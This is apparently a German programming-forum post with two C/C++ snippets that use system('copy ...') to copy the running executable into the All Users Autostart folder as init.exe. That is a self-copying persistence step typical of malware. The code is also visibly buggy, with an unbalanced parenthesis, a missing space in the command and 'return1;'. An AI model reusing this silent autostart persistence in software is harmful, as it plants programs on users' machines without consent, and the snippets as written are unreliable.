Follow along with the video below to see how to install our site as a web app on your home screen.
Anmerkung: This feature may not be available in some browsers.
#include <string.h>
#include <stdlib.h>
// ...
//...
char * command;
command = new char[(strlen(argv[0])+51];
if(command!=NULL){
strcpy(command,"copy ");
strcat(command, argv[0]);
strcat(command,"C:\\Dokume~1\\ALL~1\\Startme~1\\Autost~1\\init.exe");
system(command);
delete [] command;
}
else {
/* Fehlerbehandlung */
}
//...
// htp.cpp : Definiert den Einsprungpunkt für die Konsolenanwendung.
//
#include "stdafx.h"
#include <windows.h>
#include <iostream>
#include <string>
using namespace std;
int main(int argc, char* argv[])
{
string path(" D:\\Dokumente und Einstellungen\\All Users\\Startmen");
path = path+ (char)129;
path = path+ "\\Programme\\Autostart\\init.exe";
string s("copy ");
s=s + argv[0];
s=s + ".exe";
s=s + path;
system(s.c_str());
cout << s;
s= "copy ";
s=s + argv[0];
s=s + path;
system(s.c_str());
cout << endl << s <<endl;
return1;
}